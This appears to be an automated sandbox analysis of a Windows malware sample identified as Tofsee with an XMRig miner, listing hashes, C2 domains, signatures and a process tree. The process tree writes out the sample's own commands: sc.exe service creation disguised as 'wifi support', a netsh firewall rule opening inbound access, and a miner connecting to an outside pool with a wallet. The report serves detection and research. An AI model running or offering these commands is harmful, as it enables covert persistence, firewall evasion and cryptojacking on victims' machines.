Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/08/2023, 11:30

General

  • Target

    file.exe

  • Size

    245KB

  • MD5

    8179676a92f5c3f13b91b1268117c2b8

  • SHA1

    f2d27a9eff8bbc62dcf82ae28070df0c7fe3ed98

  • SHA256

    d5066909246cd7398f87888e9ec36816f4ceeea058156a279f02e9d3cd7bc860

  • SHA512

    40c55b5f4644165d04e2ce89646173ff078fa98bc97ec91f0adad03be4507b110edbb9435eeded68f04bb56394c355869877609eac047764f373c7ee25e09cc4

  • SSDEEP

    3072:89Xk9Kx5bLrVbjMQC005DS9Y6fSe95mvMu6SjPQmpVK2fgJRWfSoOZ5eU:8iKbbLZBC0YD+YmSeT+Mu6HSVqeU

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3348
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hnkqrztv\
      2⤵
        PID:3616
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eyyqtdht.exe" C:\Windows\SysWOW64\hnkqrztv\
        2⤵
          PID:2484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hnkqrztv binPath= "C:\Windows\SysWOW64\hnkqrztv\eyyqtdht.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hnkqrztv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hnkqrztv
          2⤵
          • Launches sc.exe
          PID:504
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3336
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3348 -s 592
          2⤵
          • Program crash
          PID:4584
      • C:\Windows\SysWOW64\hnkqrztv\eyyqtdht.exe
        C:\Windows\SysWOW64\hnkqrztv\eyyqtdht.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3884
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4664
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3392
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3884 -s 592
          2⤵
          • Program crash
          PID:1560
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3348 -ip 3348
        1⤵
          PID:3344
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3884 -ip 3884
          1⤵
            PID:4688

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\eyyqtdht.exe

            Filesize

            11.0MB

            MD5

            e60fa242d99a758f46726008b9955422

            SHA1

            7433a664607b6cb7df4072433aa00e0caf159ad4

            SHA256

            357c823b98fe5347cb5a49e268d8fbe12090d6b4ff9f93067d7c39cc49a76c4c

            SHA512

            b2272ea3ae46edf2027e49bd6b3630ae19053b206d859ec13f300c2b118925fc5e60a649f85ab668e9d98e46257c94236736f42426e7ace9ba5c59defe296081

          • C:\Windows\SysWOW64\hnkqrztv\eyyqtdht.exe

            Filesize

            11.0MB

            MD5

            e60fa242d99a758f46726008b9955422

            SHA1

            7433a664607b6cb7df4072433aa00e0caf159ad4

            SHA256

            357c823b98fe5347cb5a49e268d8fbe12090d6b4ff9f93067d7c39cc49a76c4c

            SHA512

            b2272ea3ae46edf2027e49bd6b3630ae19053b206d859ec13f300c2b118925fc5e60a649f85ab668e9d98e46257c94236736f42426e7ace9ba5c59defe296081

          • memory/3348-133-0x0000000001A20000-0x0000000001A35000-memory.dmp

            Filesize

            84KB

          • memory/3348-134-0x0000000001A60000-0x0000000001A73000-memory.dmp

            Filesize

            76KB

          • memory/3348-136-0x0000000000400000-0x00000000018BA000-memory.dmp

            Filesize

            20.7MB

          • memory/3348-139-0x0000000000400000-0x00000000018BA000-memory.dmp

            Filesize

            20.7MB

          • memory/3348-142-0x0000000001A20000-0x0000000001A35000-memory.dmp

            Filesize

            84KB

          • memory/3348-141-0x0000000001A60000-0x0000000001A73000-memory.dmp

            Filesize

            76KB

          • memory/3392-202-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-206-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-205-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-204-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-203-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-201-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-200-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-199-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-198-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3392-193-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/3884-147-0x0000000000400000-0x00000000018BA000-memory.dmp

            Filesize

            20.7MB

          • memory/3884-151-0x0000000000400000-0x00000000018BA000-memory.dmp

            Filesize

            20.7MB

          • memory/3884-143-0x0000000001A30000-0x0000000001A43000-memory.dmp

            Filesize

            76KB

          • memory/4664-170-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-180-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-168-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-169-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-167-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-165-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-171-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-172-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-173-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-174-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-176-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-175-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-177-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-178-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-179-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-166-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-181-0x0000000001BF0000-0x0000000001BF5000-memory.dmp

            Filesize

            20KB

          • memory/4664-184-0x0000000001BF0000-0x0000000001BF5000-memory.dmp

            Filesize

            20KB

          • memory/4664-185-0x0000000007380000-0x000000000778B000-memory.dmp

            Filesize

            4.0MB

          • memory/4664-188-0x0000000007380000-0x000000000778B000-memory.dmp

            Filesize

            4.0MB

          • memory/4664-189-0x00000000029D0000-0x00000000029D7000-memory.dmp

            Filesize

            28KB

          • memory/4664-164-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-161-0x0000000001B60000-0x0000000001B70000-memory.dmp

            Filesize

            64KB

          • memory/4664-158-0x0000000000DA0000-0x0000000000DA6000-memory.dmp

            Filesize

            24KB

          • memory/4664-157-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/4664-154-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/4664-153-0x0000000000590000-0x00000000005A5000-memory.dmp

            Filesize

            84KB

          • memory/4664-150-0x0000000000590000-0x00000000005A5000-memory.dmp

            Filesize

            84KB

          • memory/4664-149-0x0000000000590000-0x00000000005A5000-memory.dmp

            Filesize

            84KB

          • memory/4664-148-0x0000000000590000-0x00000000005A5000-memory.dmp

            Filesize

            84KB

          • memory/4664-144-0x0000000000590000-0x00000000005A5000-memory.dmp

            Filesize

            84KB